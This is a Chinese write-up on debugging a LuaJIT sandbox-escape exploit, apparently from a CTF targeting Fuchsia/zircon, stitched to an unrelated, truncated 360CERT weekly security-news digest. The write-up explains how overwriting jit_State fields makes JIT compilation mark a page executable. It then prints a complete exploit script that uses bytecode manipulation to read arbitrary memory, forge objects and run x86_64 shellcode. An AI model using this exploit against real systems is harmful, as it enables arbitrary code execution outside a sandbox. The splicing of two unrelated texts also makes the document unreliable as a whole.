为了看明白代码，我们肯定首先需要一些luajit的前置知识。
首先通过一些资料，我们可以搜到luajit是一个基于trace的jit，翻看一下[wiki](https://en.wikipedia.org/wiki/Tracing_just-in-time_compilation)可以学到相关的背景。
基于trace的jit基本过程就是按照循环次数来判断hot
loops，找到hot的循环之后，会通过记录运行过程的方式，将记录下的运行过程直接翻译成汇编代码，这样之后的hot
loop就会变为执行汇编代码，从而加快速度。感觉这种方式应该算是较为简单的jit方式，因为这样的方式会极大的忽略掉控制流方面的问题，毕竟只需要针对一种trace，这样的线性代码翻译和优化都比较简单。
至于luajit中的代码结构，我是通过看了[这篇文章](https://pwparchive.wordpress.com/2012/10/16/peeking-inside-luajit/)去了解了大致的luajit代码结构的。
#### 调试
首先我修改了一下触发jit附近的代码，去确认到底修改了什么数据：
local mcarea = mctab[1]
mctab[0] = 0x1234/ 2^52 / 2^1022
mctab[1] = 0x4321/ 2^52 / 2^1022
mctab[2] = 0xdead / 2^52 / 2^1022
mctab[3] = 0xbeef / 2^52 / 2^1022
mctab[4] = 2^12 / 2^52 / 2^1022
local i = 1
while i < 0x1000000 do
i = i + 1
--print(i)
end
调试结果：
mcprot = 0x0,
mcarea = 0x1234 <error: Cannot access memory at address 0x1234>,
mctop = 0x4321 <error: Cannot access memory at address 0x4321>,
mcbot = 0xdead <error: Cannot access memory at address 0xdead>,
szmcarea = 0xbeef,
szallmcarea = 0x1000,
所以`mctab[0]`对应`mcarea`，然后之后的依次类推。
另外，为了快速找到运行位置，我给mprotect下了断点，然后去运行我们能够运行成功的魔改exp，之后通过backtrace去找到关键位置，过程中出现了多次断点，通过比对参数，涉及到目标页的一共有两次：
────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7d15790 → Name: mprotect()
[#1] 0x555555584b30 → Name: mcode_setprot(prot=0x3, sz=<optimized out>, p=<optimized out>)
[#2] 0x555555584b30 → Name: mcode_protect(J=0x40000558, prot=0x3)
[#3] 0x555555584dba → Name: mcode_protect(prot=0x3, J=0x40000558)
[#4] 0x555555584dba → Name: lj_mcode_reserve(J=0x40000558, lim=0x7fffffffdf38)
[#5] 0x555555597f0b → Name: lj_asm_trace(J=0x40000558, T=0x40000558)
[#6] 0x55555556c690 → Name: trace_state(L=0x40000378, dummy=<optimized out>, ud=0x40000558)
[#7] 0x555555575af6 → Name: lj_vm_cpcall()
[#8] 0x55555556cfeb → Name: lj_trace_ins(J=0x40000558, pc=0x4000ab34)
[#9] 0x555555560b7f → Name: lj_dispatch_ins(L=0x40000378, pc=0x4000ab38)
──────────────────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7d15790 → Name: mprotect()
[#1] 0x555555584b30 → Name: mcode_setprot(prot=0x5, sz=<optimized out>, p=<optimized out>)
[#2] 0x555555584b30 → Name: mcode_protect(J=0x40000558, prot=0x5)
[#3] 0x555555584f79 → Name: mcode_protect(prot=0x5, J=0x40000558)
[#4] 0x555555584f79 → Name: lj_mcode_abort(J=0x40000558)
[#5] 0x555555584f79 → Name: lj_mcode_limiterr(J=0x40000558, need=0x100)
[#6] 0x5555555904a5 → Name: asm_mclimit(as=0x7fffffffde30)
[#7] 0x5555555986bd → Name: asm_exitstub_gen(group=<optimized out>, as=<optimized out>)
[#8] 0x5555555986bd → Name: asm_exitstub_setup(nexits=<optimized out>, as=0x7fffffffde30)
[#9] 0x5555555986bd → Name: asm_setup_target(as=0x7fffffffde30)
显然第二次是关键，是真正将页标记为`rx`（prot为5）的。于是根据bt去找到luajit代码的位置，查看需要满足什么条件才能够进入到这一条逻辑：
/* Abort the reservation. */
void lj_mcode_abort(jit_State *J)
{
if (J->mcarea)
mcode_protect(J, MCPROT_RUN);
}
/* Limit of MCode reservation reached. */
void lj_mcode_limiterr(jit_State *J, size_t need)
{
size_t sizemcode, maxmcode;
lj_mcode_abort(J);
sizemcode = (size_t)J->param[JIT_P_sizemcode] << 10;
sizemcode = (sizemcode + LJ_PAGESIZE-1) & ~(size_t)(LJ_PAGESIZE - 1);
maxmcode = (size_t)J->param[JIT_P_maxmcode] << 10;
if ((size_t)need > sizemcode)
lj_trace_err(J, LJ_TRERR_MCODEOV); /* Too long for any area. */
if (J->szallmcarea + sizemcode > maxmcode)
lj_trace_err(J, LJ_TRERR_MCODEAL);
mcode_allocarea(J);
lj_trace_err(J, LJ_TRERR_MCODELM); /* Retry with new area. */
}
对比trace可以发现，其实只有`lj_mcode_limiterr`是在目标页jit
mprotect起作用的时候调用的，中间有一系列`asm_*`函数，大致看了一下应该是执行汇编过程，不太可能在这里切换权限，所以核心点就到了`trace_state`函数，看代码可以发现其实这里主要是根据不同的jit状态去选择执行不同的行为。
还好我们有可以成功触发mprotect的代码，所以我们可以通过对比成功和失败两种情况来找到关键点，我通过成功触发的代码发现在`trace_state`中的执行流程里，成功触发会经过`START
-> RECORD -> END ->
ASM`的过程，而mprotect正是在mprotect中进行调用的（这里保持mprotect的断点，可以在步过的时候快速确认是否运行到了目标位置）。而触发失败的代码没有经过`END
-> ASM`的过程。
看来我们已经基本上确认问题所在了，那么接下来就到了枯燥的看代码时间，需要通过阅读代码去找到为什么没有经过后两个阶段。
这里我更推荐大家自行去阅读代码理清逻辑，看别人总结的代码是没有意义的，看看别人总结的代码大致逻辑之后自己去看才能真正明白。当然为了完整性，我还是把我的过程记录下来。
简要的说，在`RECORD`阶段，会通过`lj_record_ins`去record luajit字节码：
// lj_trace.c:trace_state 中
case LJ_TRACE_RECORD:
trace_pendpatch(J, 0);
setvmstate(J2G(J), RECORD);
lj_vmevent_send_(L, RECORD,
/* Save/restore tmptv state for trace recorder. */
TValue savetv = J2G(J)->tmptv;
TValue savetv2 = J2G(J)->tmptv2;
setintV(L->top++, J->cur.traceno);
setfuncV(L, L->top++, J->fn);
setintV(L->top++, J->pt ? (int32_t)proto_bcpos(J->pt, J->pc) : -1);
setintV(L->top++, J->framedepth);
,
J2G(J)->tmptv = savetv;
J2G(J)->tmptv2 = savetv2;
);
lj_record_ins(J); // <-- 进行record
break;
这个时候我直接断点在`trace_state`查看了能触发情况下的执行流程，发现为:`START -> RECORD+ -> END -> (ASM) ->
ERR -> ASM`，最终核心位置在`ASM`里。括号里的ASM是在后来调试中才发现的，第一次并没有发现这个地方。
虽然比较奇怪为什么出现了`ERR`，但是无论如何最终只要能到`ASM`我们就有机会，那么未成功触发的原因：没有进入到`ASM`状态。
相同的方法我也在没成功触发的exp上执行了一遍，发现最终停留在`RECORD`状态，看来是`RECORD`状态一直没有解除。
现在来找找没成功的理由。首先看看我们最后生成的字节码:
luajit -blg evil.lua evil.out
注意这一条命令需要在`luajit/src/`里执行，需要有`luajit/src/jit`这个extension。（也可以使用其他办法导入，我个人认为这样比较简单罢了）
否则会报：
unknown luaJIT command or jit.* modules not installed
关键位置:
local i = 1
while i < 0x1000000 do
i = i + 1
--print(i)
end
字节码：
0083 TSETB 19 14 1
0084 TGETB 19 14 1
0085 TSETB 19 14 2
0086 TGETB 19 14 1
0087 TSETB 19 14 3
0088 KNUM 19 10 ; 2.0236928853657e-320
0089 TSETB 19 14 4
0090 KSHORT 19 1
0091 => KNUM 20 11 ; 16777216 <-- 0x1000000
0092 ISGE 19 20
0093 JMP 20 => 0097 ; <-- 跳过循环
0094 LOOP 20 => 0097
0095 ADDVN 19 19 12 ; 1 <-- 加一
0096 JMP 20 => 0091 ; <-- 循环
基本上可以确认这里就是我们试图进行jit的while loop了。
回到`lj_record_ins`:
case BC_LOOP:
rec_loop_interp(J, pc, rec_loop(J, ra));
break;
/* Handle the case when an interpreted loop op is hit. */
static void rec_loop_interp(jit_State *J, const BCIns *pc, LoopEvent ev)
{
if (J->parent == 0 && J->exitno == 0) {
if (pc == J->startpc && J->framedepth + J->retdepth == 0) {
/* Same loop? */
if (ev == LOOPEV_LEAVE) /* Must loop back to form a root trace. */
lj_trace_err(J, LJ_TRERR_LLEAVE);
lj_record_stop(J, LJ_TRLINK_LOOP, J->cur.traceno); /* Looping trace. */
} else if (ev != LOOPEV_LEAVE) { /* Entering inner loop? */
/* It's usually better to abort here and wait until the inner loop
** is traced. But if the inner loop repeatedly didn't loop back,
** this indicates a low trip count. In this case try unrolling
** an inner loop even in a root trace. But it's better to be a bit
** more conservative here and only do it for very short loops.
*/
if (bc_j(*pc) != -1 && !innerloopleft(J, pc))
lj_trace_err(J, LJ_TRERR_LINNER); /* Root trace hit an inner loop. */
if ((ev != LOOPEV_ENTERLO &&
J->loopref && J->cur.nins - J->loopref > 24) || --J->loopunroll < 0)
lj_trace_err(J, LJ_TRERR_LUNROLL); /* Limit loop unrolling. */
J->loopref = J->cur.nins;
}
} else if (ev != LOOPEV_LEAVE) { /* Side trace enters an inner loop. */
J->loopref = J->cur.nins;
if (--J->loopunroll < 0)
lj_trace_err(J, LJ_TRERR_LUNROLL); /* Limit loop unrolling. */
} /* Side trace continues across a loop that's left or not entered. */
}
继续跟下去会发现是先进入END，然后ASM，但是在ASM过程中失败，才进入到了ERR，然后又从ERR再次进入到ASM。而且其实在第一次ASM的时候就已经进行mprotect了，所以最后的ASM并没有太大影响，而是正常的jit过程。
之后的跟代码过程就不再详细解释了，有兴趣的同学可以自己去尝试一下，这一部分比较直接，基本就是按照我们之前得到的bt一层一层进入，不过中间有好几个地方值得关注，直接让我们知道了为什么第一次的不能成功：
条件1:
static MCode *asm_exitstub_gen(ASMState *as, ExitNo group)
10 {
11 ExitNo i, groupofs = (group*EXITSTUBS_PER_GROUP) & 0xff;
12 MCode *mxp = as->mcbot;
13 MCode *mxpstart = mxp;
→ 14 if (mxp + (2+2)*EXITSTUBS_PER_GROUP+8+5 >= as->mctop)
15 asm_mclimit(as);
也就是`mcbot + X >= mctop`，管他多少只要`mcbot >= mctop`就行。
条件2:
329 /* Abort the reservation. */
330 void lj_mcode_abort(jit_State *J)
331 {
332 if (J->mcarea)
→ 333 mcode_protect(J, MCPROT_RUN);
334 }
需要`mcarea != 0`！而回想第一次，我们其实是把`mcarea`设置为0的，于是这里是不会成功触发的。
条件3(参数):
193 /* Change protection of MCode area. */
194 static void mcode_protect(jit_State *J, int prot)
195 {
196 if (J->mcprot != prot) {
→ 197 if (LJ_UNLIKELY(mcode_setprot(J->mcarea, J->szmcarea, prot)))
198 mcode_protfail(J);
199 J->mcprot = prot;
200 }
201 }
202
那么我们参数的设置方法就基本上清楚了，这也正好印证了我们之前的设置方法正好使得这里的`mcarea`符合要求。不过我们的设置还有一个问题就是`szmcarea`太大，可以稍微改小一点，不过在mprotect的处理中即使太大也不是很影响。
另外需要注意的几个后置条件：
→ 378 if ((size_t)need > sizemcode)
379 lj_trace_err(J, LJ_TRERR_MCODEOV); /* Too long for any area. */
380 if (J->szallmcarea + sizemcode > maxmcode)
381 lj_trace_err(J, LJ_TRERR_MCODEAL);
382 mcode_allocarea(J);
383 lj_trace_err(J, LJ_TRERR_MCODELM);
380,381的这个条件比较关键，因为后来的分析发现如果这里出现问题是会被free掉的（有兴趣的同学可以看代码），而在zircon内发现如果被free掉会导致一个无效内存错，这样即使mprotect了也无法执行代码，因为我们需要在mprotect之后正常回到lua的执行过程，然后才能去通过调用任意c函数的方式跳到shellcode。所以在设置`szallmzarea`的时候也要注意到大小的问题。
到现在，我们就终于弄明白了为什么原来的exp是不能直接使用的了。。因为他的参数设置有问题。。
之后的err是在上一个代码片段383行位置触发的，也触发了panic的提示信息，但是发现其实这个并不会影响后面的执行过程，所以不用太在意。具体原因纠结起来感觉会更加耗费时间，我就没有继续深究下去了，不过我猜测应该是由于我们搞坏了一些`State`内的元数据，在链表中有了一些奇怪的事情发生导致的。不过还好这个err不会导致太多问题。
接下来我们就要进入到另一个硬核的世界了。。。fuchsia.
## luajit 沙箱逃逸执行shellcode exp
orig_exp.lua:
-- The following function serves as the template for evil.lua.
-- The general outline is to compile this function as-written, dump
-- it to bytecode, manipulate the bytecode a bit, and then save the
-- result as evil.lua.
local evil = function(v)
-- This is the x86_64 native code which we'll execute. It
-- is a very benign payload which just prints "Hello World"
-- and then fixes up some broken state.
local shellcode =
"\76\139\87\16".. -- mov r10, [rdi+16]
"\184\4\0\0\2".. -- mov eax, 0x2000004
"\191\1\0\0\0".. -- mov edi, 1
"\72\141\53\51\0\0\0".. -- lea rsi, [->msg]
"\186\12\0\0\0".. -- mov edx, 12
"\15\5".. -- syscall
"\72\133\192".. -- test rax, rax
"\184\74\0\0\2".. -- mov eax, 0x200004a
"\121\12".. -- jns ->is_osx
"\184\1\0\0\0".. -- mov eax, 1
"\15\5".. -- syscall
"\184\10\0\0\0".. -- mov eax, 10
-- ->is_osx:
"\73\139\58".. -- mov rdi, [r10]
"\72\139\119\8".. -- mov rsi, [rdi+8]
"\186\7\0\0\0".. -- mov edx, 7
"\15\5".. -- syscall
"\73\139\114\8".. -- mov rsi, [r10+8]
"\72\137\55".. -- mov [rdi], rsi
"\195".. -- ret
-- ->msg:
"Hello World\n"
-- The dirty work is done by the following "inner" function.
-- This inner function exists because we require a vararg call
-- frame on the Lua stack, and for the function associated with
-- said frame to have certain special upvalues.
local function inner(...)
if false then
-- The following three lines turn into three bytecode
-- instructions. We munge the bytecode slightly, and then
-- later reinterpret the instructions as a cdata object,
-- which will end up being `cdata<const char *>: NULL`.
-- The `if false` wrapper ensures that the munged bytecode
-- isn't executed.
local cdata = -32749
cdata = 0
cdata = 0
end
-- Through the power of bytecode manipulation, the
-- following three functions will become (the fast paths of)
-- string.byte, string.char, and string.sub. This is
-- possible because LuaJIT has bytecode instructions
-- corresponding to the fast paths of said functions. Note
-- that we musn't stray from the fast path (because the
-- fallback C code won't be wired up). Also note that the
-- interpreter state will be slightly messed up after
-- calling one of these functions.
local function s_byte(s) end
local function s_char(i, _) end
local function s_sub(s, i, j) end
-- The following function does nothing, but calling it will
-- restore the interpreter state which was messed up following
-- a call to one of the previous three functions. Because this
-- function contains a cdata literal, loading it from bytecode
-- will result in the ffi library being initialised (but not
-- registered in the global namespace).
local function resync() return 0LL end
-- Helper function to reinterpret the first four bytes of a
-- string as a uint32_t, and return said value as a number.
local function s_uint32(s)
local result = 0
for i = 4, 1, -1 do
result = result * 256 + s_byte(s_sub(s, i, i))
resync()
end
return result
end
-- The following line obtains the address of the GCfuncL
-- object corresponding to "inner". As written, it just fetches
-- the 0th upvalue, and does some arithmetic. After some
-- bytecode manipulation, the 0th upvalue ends up pointing
-- somewhere very interesting: the frame info TValue containing
-- func|FRAME_VARG|delta. Because delta is small, this TValue
-- will end up being a denormalised number, from which we can
-- easily pull out 32 bits to give us the "func" part.
local iaddr = (inner * 2^1022 * 2^52) % 2^32
-- The following five lines read the "pc" field of the GCfuncL
-- we just obtained. This is done by creating a GCstr object
-- overlaying the GCfuncL, and then pulling some bytes out of
-- the string. Bytecode manipulation results in a nice KPRI
-- instruction which preserves the low 32 bits of the istr
-- TValue while changing the high 32 bits to specify that the
-- low 32 bits contain a GCstr*.
local istr = (iaddr - 4) + 2^52
istr = -32764 -- Turned into KPRI(str)
local pc = s_sub(istr, 5, 8)
istr = resync()
pc = s_uint32(pc)
-- The following three lines result in the local variable
-- called "memory" being `cdata<const char *>: NULL`. We can
-- subsequently use this variable to read arbitrary memory
-- (one byte at a time). Note again the KPRI trick to change
-- the high 32 bits of a TValue. In this case, the low 32 bits
-- end up pointing to the bytecode instructions at the top of
-- this function wrapped in `if false`.
local memory = (pc + 8) + 2^52
memory = -32758 -- Turned into KPRI(cdata)
memory = memory + 0
-- Helper function to read a uint32_t from any memory location.
local function m_uint32(offs)
local result = 0
for i = offs + 3, offs, -1 do
result = result * 256 + (memory[i] % 256)
end
return result
end
-- Helper function to extract the low 32 bits of a TValue.
-- In particular, for TValues containing a GCobj*, this gives
-- the GCobj* as a uint32_t. Note that the two memory reads
-- here are GCfuncL::uvptr[1] and GCupval::v.
local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
local function low32(tv)
v = tv
return m_uint32(vaddr)
end
-- Helper function which is the inverse of s_uint32: given a
-- 32 bit number, returns a four byte string.
local function ub4(n)
local result = ""
for i = 0, 3 do
local b = n % 256
n = (n - b) / 256
result = result .. s_char(b)
resync()
end
return result
end
-- The following four lines result in the local variable
-- called "mctab" containing a very special table: the
-- array part of the table points to the current Lua
-- universe's jit_State::patchins field. Consequently,
-- the table's [0] through [4] fields allow access to the
-- mcprot, mcarea, mctop, mcbot, and szmcarea fields of
-- the jit_State. Note that LuaJIT allocates the empty
-- string within global_State, so a fixed offset from the
-- address of the empty string gives the fields we're
-- after within jit_State.
local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(low32("") + 2748)
.."\0\0\0\0\0\0\0\0\0\0\0\0\5\0\0\0\255\255\255\255"
local mctab = low32(mctab_s) + 16 + 2^52
mctab = -32757 -- Turned into KPRI(table)
-- Construct a string consisting of 4096 x86 NOP instructions.
local nop4k = "\144"
for i = 1, 12 do nop4k = nop4k .. nop4k end
-- Create a copy of the shellcode which is page aligned, and
-- at least one page big, and obtain its address in "asaddr".
local ashellcode = nop4k .. shellcode .. nop4k
local asaddr = low32(ashellcode) + 16
asaddr = asaddr + 2^12 - (asaddr % 2^12)
-- The following seven lines result in the memory protection of
-- the page at asaddr changing from read/write to read/execute.
-- This is done by setting the jit_State::mcarea and szmcarea
-- fields to specify the page in question, setting the mctop and
-- mcbot fields to an empty subrange of said page, and then
-- triggering some JIT compilation. As a somewhat unfortunate
-- side-effect, the page at asaddr is added to the jit_State's
-- linked-list of mcode areas (the shellcode unlinks it).
--[[
local mcarea = mctab[1]
--mctab[0] = 0
mctab[0] = 0x1234/ 2^52 / 2^1022
mctab[1] = 0x4321/ 2^52 / 2^1022
mctab[2] = 0xdead / 2^52 / 2^1022
mctab[3] = 0xbeef / 2^52 / 2^1022
mctab[4] = 2^12 / 2^52 / 2^1022
--while mctab[0] == 0 do end
local i = 1
while i < 0x1000000 do
i = i + 1
--print(i)
end
--]]
local mcarea = mctab[1]
mctab[0] = asaddr / 2^52 / 2^1022
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = 0x8000 / 2^52 / 2^1022
mctab[4] = 2^12 / 2^52 / 2^1022
--while mctab[0] == 0 do end
local i = 1
while i < 0x1000000 do
i = i + 1
--print(i)
end
--]]
-- The following three lines construct a GCfuncC object
-- whose lua_CFunction field is set to asaddr. A fixed
-- offset from the address of the empty string gives us
-- the global_State::bc_cfunc_int field.
local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
ub4(asaddr) .."\0\0\0\0"
fshellcode = -32760 -- Turned into KPRI(func)
-- Finally, we invoke the shellcode (and pass it some values
-- which allow it to remove the page at asaddr from the list
-- of mcode areas).
fshellcode(mctab[1], mcarea)
end
inner()
end
-- Some helpers for manipulating bytecode:
local ffi = require "ffi"
local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}
-- Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)
local buf = ffi.new("uint8_t[?]", #estr+1, estr)
local p = buf + 5
-- Helper function to read a ULEB128 from p:
local function read_uleb128()
local v = p[0]; p = p + 1
if v >= 128 then
local sh = 7; v = v - 128
repeat
local r = p[0]
v = v + bit.lshift(bit.band(r, 127), sh)
sh = sh + 7
p = p + 1
until r < 128
end
return v
end
-- The dumped bytecode contains several prototypes: one for "evil"
-- itself, and one for every (transitive) inner function. We step
-- through each prototype in turn, and tweak some of them.
while true do
local len = read_uleb128()
if len == 0 then break end
local pend = p + len
local flags, numparams, framesize, sizeuv = p[0], p[1], p[2], p[3]
p = p + 4
read_uleb128()
read_uleb128()
local sizebc = read_uleb128()
local bc = p
local uv = ffi.cast("uint16_t*", p + sizebc * 4)
if numparams == 0 and sizeuv == 3 then
-- This branch picks out the "inner" function.
-- The first thing we do is change what the 0th upvalue
-- points at:
uv[0] = uv[0] + 2
-- Then we go through and change everything which was written
-- as "local_variable = -327XX" in the source to instead be
-- a KPRI instruction:
for i = 0, sizebc do
if bc[0] == BC.KSHORT then
local rd = ffi.cast("int16_t*", bc)[1]
if rd <= -32749 then
bc[0] = BC.KPRI
bc[3] = 0
if rd == -32749 then
-- the `cdata = -32749` line in source also tweaks
-- the two instructions after it:
bc[4] = 0
bc[8] = 0
end
end
end
bc = bc + 4
end
elseif sizebc == 1 then
-- As written, the s_byte, s_char, and s_sub functions each
-- contain a single "return" instruction. We replace said
-- instruction with the corresponding fast-function instruction.
bc[0] = 147 + numparams
bc[2] = bit.band(1 + numparams, 6)
end
p = pend
end
-- Finally, save the manipulated bytecode as evil.lua:
local f = io.open("evil.lua", "wb")
f:write(ffi.string(buf, #estr))
f:close() | 社区文章 |
# 安全事件周报（10.05-10.11）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 事件导览
本周收录安全事件 `35` 项，话题集中在 `网络攻击` 、 `勒索软件` 方面，涉及的组织有： `Facebook` 、 `Apple` 、
`Chowbus` 、 `阿联酋国际航空公司` 等。网络扫描器积极利用1day、Nday进行无差别攻击，更新不及时，内网两行泪。对此，360CERT建议使用
`360安全卫士` 进行病毒检测、使用 `360安全分析响应平台` 进行威胁流量检测，使用 `360城市级网络安全监测服务QUAKE`
进行资产测绘，做好资产自查以及预防工作，以免遭受黑客攻击。
**恶意程序** | 等级
---|---
勒索软件迫使保险公司关闭了200个管理员帐户 | ★★★★★
加密挖掘蠕虫增加了Linux密码窃取功能 | ★★★★
第二次在野发现UEFI rootkit | ★★★★
无文件恶意程序注入Windows错误报告服务 | ★★★★
一种被称为SLOTHFULMEDIA的新的远程木马 | ★★★
勒索软件威胁激增，Ryuk约每周攻击20家公司 | ★★★
勒索软件攻击健康科技公司，扰乱了COVID-19医学试验 | ★★★
新的HEH僵尸网络可能会擦除磁盘 | ★★★
Software AG受勒索软件的攻击：攻击者泄露了工作人员的护照 | ★★★
新的MalLocker.B勒索软件能显示赎金笔记 | ★★★
嘉年华证实数据泄露是8月勒索软件攻击的结果 | ★★★
泰勒科技公司最终向勒索软件支付了赎金 | ★★★
不要低估FONIX勒索软件服务 | ★★★
CISA警告美国政府机构遭受Emotet攻击 | ★★
**数据安全** |
澳大利亚社交新闻平台泄露8万条用户记录 | ★★★★
阿联酋国际航空公司的数据泄露至暗网 | ★★★
**网络攻击** |
美国公司1500万美元网络抢劫案剖析 | ★★★★★
黑客从瑞士大学窃取了6位数的金额 | ★★★★
新一波的网络钓鱼电子邮件以选举为诱饵 | ★★★★
国际海事组织（IMO）遭受网络攻击 | ★★★★
外卖服务Chowbus遭黑客攻击，超过40万名客户受到影响 | ★★★★
黑客团伙现利用严重的Windows漏洞进行攻击 | ★★★★
国土安全部：不明黑客袭击了美国人口普查局网络 | ★★★★
基于Mirai的IoT木马传播了两个0day漏洞 | ★★★
Fullz House入侵Boom!的网站 | ★★★
Wisepay的“停机”源于食堂支付业务对入侵者攻击的阻止 | ★★★
Comcast遥控器可被入侵用于监听对话 | ★★★
WordPress漏洞为Zerologon攻击提供通道 | ★★★
黑客组织出售间谍和虚假新闻服务 | ★★★
亚马逊黄金日，网络钓鱼和欺诈攻击激增 | ★★★
Fitbit gallery可用于分发恶意应用程序 | ★★★
**其它事件** |
流行的反病毒软件漏洞让攻击者可以升级特权 | ★★★
Bugcrowd在2020年末选出最值得关注的Bugs | ★★★
在苹果各种服务中发现55个安全漏洞 | ★★★
Facebook首次推出漏洞赏金 | ★★★
## 0x02 恶意程序
### 勒索软件迫使保险公司关闭了200个管理员帐户
日期: 2020年10月06日
等级: 高
作者: Gareth Corfield
标签: The Register, Ardonagh Group, Ransomware, Accounts
知情人士向TheRegister透露，随着”cyberincident”在其IT领域的发展，ArdonaghGroup保险公司被迫暂停200个具有管理员特权的内部帐户。英国《金融时报》称，作为英国第二大私有保险经纪公司，ArdonaghGroup2020年以来一直在收购其它公司。
最近一次袭击发生的时机很不幸：据报道，Ardonagh最近公布了财务报告，显示损失9400万英镑。Ardonagh的发言人KellyAnnKnight没有否认公司遭受的”cyberincident”是勒索软件，但没有证实任何细节。
**详情**
[Insurance firm Ardonagh Group disabled 200 admin accounts as ransomware
infection took
hold](https://www.theregister.com/2020/10/06/ardonagh_group_ransomware/)
### 加密挖掘蠕虫增加了Linux密码窃取功能
日期: 2020年10月05日
等级: 高
作者: Sergiu Gatlan
标签: Docker, Monero, Password Stealing, Mimipy, Mimikatz, TeamTNT
`TeamTNT`
最近更新了密码挖掘设备，使其更容易通过网络传播其他的密码挖掘设备。虽然该组织主要以主动锁定Docker实例为目标，使用受损系统进行未经授权的Monero（XMR）挖掘而闻名，但该组织现在改变了策略，将其加密劫持恶意软件升级为收集用户凭证。
`Unit42`的研究人员发现， `TeamTNT` 正在努力增强其恶意软件的能力，这次是通过 `mimipy`
(支持Windows/Linux/macOS)和 `mimipenguin` (支持Linux)增加内存密码抓取功能，这两款 `Mimikatz`
开源软件都是针对 `NIX`
桌面的。Unit42给这种蠕虫命名为Black-T，它会收集在被攻击系统内存中找到的任何明文密码，并将其发送给TeamTNT的命令和控制服务器。
**详情**
[Crypto-mining worm adds Linux password stealing
capability](https://www.bleepingcomputer.com/news/security/crypto-mining-worm-adds-linux-password-stealing-capability/)
### 第二次在野发现UEFI rootkit
日期: 2020年10月05日
等级: 高
作者: Sergiu Gatlan
标签: UEFI, MosacRegressor, rootkit, LoJax
安全研究人员在围绕2019年针对两个非政府组织（NGO）的攻击展开的调查中发现了第二个在野使用的 `UEFIrootkit` 。
UEFI（统一可扩展固件接口）固件允许高度持久的恶意软件，因为它安装在焊接到计算机主板的SPI闪存中，因此无法通过重新安装OS或更换硬盘来摆脱它。
`UEFIbootkit` 被发现它的卡巴斯基研究人员 `MarkLechtik` 和 `IgorKuznetsov` 称为
`MosacRegressor` ，是一个模块化、多阶段的恶意软件框架，被讲中文的黑客用于数据窃取和间谍活动。目前只知道另一个在野外使用的
`UEFIbootkit` 实例，即2018年由ESET发现的 `rootkitLoJax` 。 `LoJax` 是由讲俄语的 `APT28` 黑客组织在
`legitLoJack` 防盗软件中以补丁 `UEFI`
模块的形式注入的。攻击者通过注入多个可用于在目标设备上部署恶意软件的恶意模块来修改恶意UEFI固件映像。 `MosaicRegressor`
具有几个下载器，有时还有多个中间加载程序，其最终目标是在目标计算机上下载和执行恶意负载。
**详情**
[MosaicRegressor: Second-ever UEFI rootkit found in the
wild](https://www.bleepingcomputer.com/news/security/mosaicregressor-second-ever-uefi-rootkit-found-in-the-wild/)
### 无文件恶意程序注入Windows错误报告服务
日期: 2020年10月07日
等级: 高
来源: DATABREACHTODAY
标签: Malwarebytes, Vietnam, APT32, Inject, Phishing
研究人员发现了一种新的攻击策略，即攻击者直接将无文件恶意软件注入Windows错误报告服务中，作为规避防御检测手段。这次攻击是以一个网络钓鱼邮件开始的，它使用的主题是“YourRighttoCompensation”，邮件中包含一个zip文件，里面有一个标签为“Compensationmanual.doc”的文件，文件说它是加密的，并要求受害者启用编辑功能。报告称，当这个过程完成后，受害者会被带到一个网站，在那里无文件恶意软件被加载到Windows错误报告系统中。
**详情**
[Fileless Malware Injected in Windows Error Reporting
Service](https://www.databreachtoday.com/fileless-malware-injected-in-windows-error-reporting-service-a-15129)
### 一种被称为SLOTHFULMEDIA的新的远程木马
日期: 2020年10月05日
等级: 中
来源: SECURITYAFFAIRS
标签: CISA, SLOTHFULMEDIA, Malware, Dropper, RAT
美国国防部网络国家任务部队(CNMF)和国土安全部网络安全和基础设施安全局(CISA)发布了一份恶意软件分析报告，提供了一种名为SLOTHFULMEDIA的新型恶意软件的技术细节。与其他MAR分析一样，该报告提供了有关这一威胁的技术细节，包括妥协指标、应对行动建议以及预防感染的建议。“该示例是一个dropper，在执行时会部署两个文件。第一个是名为“mediaplayer.exe”的远程访问工具（RAT），该工具专门用于受害计算机系统的命令和控制（C2）。分析确定了RAT具有终止进程，运行任意命令，进行屏幕截图，修改注册表以及修改受害者计算机上文件的能力。”报告中写到。
**详情**
[SLOTHFULMEDIA RAT, a new weapon in the arsenal of a sophisticated threat
actor](https://securityaffairs.co/wordpress/109092/malware/slothfulmedia-rat-report.html)
### 勒索软件威胁激增，Ryuk约每周攻击20家公司
日期: 2020年10月06日
等级: 中
作者: Ionut Ilascu
标签: Maze, Ryuk, REvil, Check Point, Ransomware, Malware
监控勒索软件威胁的恶意软件研究人员注意到，与2020年前六个月相比，过去几个月此类攻击急剧增加。根据 `CheckPoint` 和
`IBMSecurityX-Force` 事件响应小组最近公布的数据，排在榜首的勒索软件有 `Maze` 、 `Ryuk` 和 `REvil`
(Sodinokibi)。两家公司都注意到，2020年6月至9月，全球范围内的勒索软件事件激增，其中一些威胁比其他威胁更为活跃。来自
`CheckPoint` 的数据显示，2020年第三季度， `Maze` 和 `Ryuk` 是最常见的勒索软件家族，后者平均每周攻击20家公司。
根据检查点2020年10月6日的报告， `Ryuk`
在7月份增加了活动，并主要关注医疗保健机构，这些机构已经承受了疫情带来的巨大压力，无法承受系统瘫痪的后果。
**详情**
[Ransomware threat surge, Ryuk attacks about 20 orgs per
week](https://www.bleepingcomputer.com/news/security/ransomware-threat-surge-ryuk-attacks-about-20-orgs-per-week/)
### 勒索软件攻击健康科技公司，扰乱了COVID-19医学试验
日期: 2020年10月06日
等级: 中
来源: HACKREAD
标签: eResearchTechnology, COVID-19, Ransomware, Medical Trials
总部位于费城的医疗科技公司eResearchTechnology（ERT）遭遇勒索软件攻击，但没有患者受到影响。几周前有报道称，德国一家名为杜塞尔多夫大学医院（UniversityhospitalDüsseldorf，UKD）的勒索软件袭击导致一名患者死亡。如今，总部位于费城的医疗科技公司eResearchTechnology（ERT）透露，该公司遭到勒索软件攻击。该机构向医疗机构销售软件，用于开发测试和治疗，目前，该公司的软件正在用于创建并测试
